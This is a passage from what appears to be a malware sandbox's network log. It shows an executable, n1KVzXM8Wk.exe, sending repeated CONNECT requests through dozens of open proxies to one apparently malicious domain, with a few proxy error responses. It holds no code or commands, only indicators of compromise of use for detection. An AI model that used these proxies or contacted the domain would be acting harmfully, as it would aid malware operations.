Feb 23, 2024 09:46:01.584429979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:13.756160975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2088	192.168.2.4	51013	161.97.160.158	13970	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.442018986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.443988085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2089	192.168.2.4	55526	132.148.245.169	36149	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.442090034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2090	192.168.2.4	51276	162.0.220.222	53242	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.442207098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.568840027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.568782091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2091	192.168.2.4	51345	51.38.64.38	49843	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.442631006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2092	192.168.2.4	55523	167.99.219.173	8118	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.443418980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2093	192.168.2.4	51349	141.94.174.6	7856	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.444231033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2094	192.168.2.4	54514	46.107.230.122	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.444386005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.443990946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2095	192.168.2.4	55112	194.233.78.142	39067	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.444390059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.504816055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.147144079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2096	192.168.2.4	51121	193.31.119.180	55850	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.444876909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2097	192.168.2.4	51409	132.148.245.169	49824	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.445055008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2098	192.168.2.4	51313	86.107.178.102	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.445055962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.581185102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.646858931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:49.646910906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:01.646781921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:13.793605089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2099	192.168.2.4	51155	217.112.80.252	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.445077896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.603741884 CET	882	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:37 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27 Content-Length: 665 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 70 6f 73 74 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 6d 20 50 48 50 2f 37 2e 34 2e 32 37 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at postmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27 Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2100	192.168.2.4	51065	178.33.167.180	42362	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.445077896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.581357956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2101	192.168.2.4	51348	132.226.7.23	30277	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.445110083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2102	192.168.2.4	51148	200.41.170.211	11201	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.445458889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.319271088 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2103	192.168.2.4	55539	36.67.77.41	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.455317974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2104	192.168.2.4	55183	129.205.123.214	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.463771105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2105	192.168.2.4	51125	203.202.252.149	1200	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.465792894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.568921089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2106	192.168.2.4	51360	185.118.153.110	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.474284887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.977516890 CET	202	IN	HTTP/1.0 403 Forbidden Content-Length: 819 Content-Type: text/html Date: Fri, 23 Feb 2024 08:32:19 GMT Expires: Fri, 23 Feb 2024 08:32:19 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2107	192.168.2.4	55519	114.67.113.118	45153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.474545956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.568928003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2108	192.168.2.4	51358	142.93.66.245	25979	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.486038923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.581187010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.646877050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:49.646825075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:01.646785021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:13.793643951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2109	192.168.2.4	51198	103.174.102.127	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.492100000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.569025993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.568799973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:49.568698883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:01.584280968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:13.756181002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:14.782166958 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:46:14 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of
Feb 23, 2024 09:46:14.782191038 CET	295	IN	Data Raw: 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2110	192.168.2.4	55206	192.111.134.10	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.493017912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2111	192.168.2.4	51102	103.145.150.26	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.493530035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2112	192.168.2.4	51251	103.244.163.99	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.493530989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.581258059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.646868944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:49.646822929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:01.646784067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2113	192.168.2.4	51401	45.81.232.17	54393	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.500715971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.581362963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2114	192.168.2.4	51510	159.203.137.249	49785	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.535294056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.569068909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2115	192.168.2.4	55209	203.170.146.146	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.535382986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2116	192.168.2.4	55203	161.97.173.78	7818	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.560353041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.569063902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.568830967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:49.568707943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:01.584367037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2117	192.168.2.4	55259	162.241.66.135	64367	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.578372955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.581357956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2118	192.168.2.4	51531	92.205.108.94	47571	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.578372955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.569108963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2119	192.168.2.4	51707	148.72.23.135	43008	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.600653887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.709685087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2120	192.168.2.4	55267	164.132.112.254	31259	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.621079922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2121	192.168.2.4	54612	188.164.193.178	30663	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.621083975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
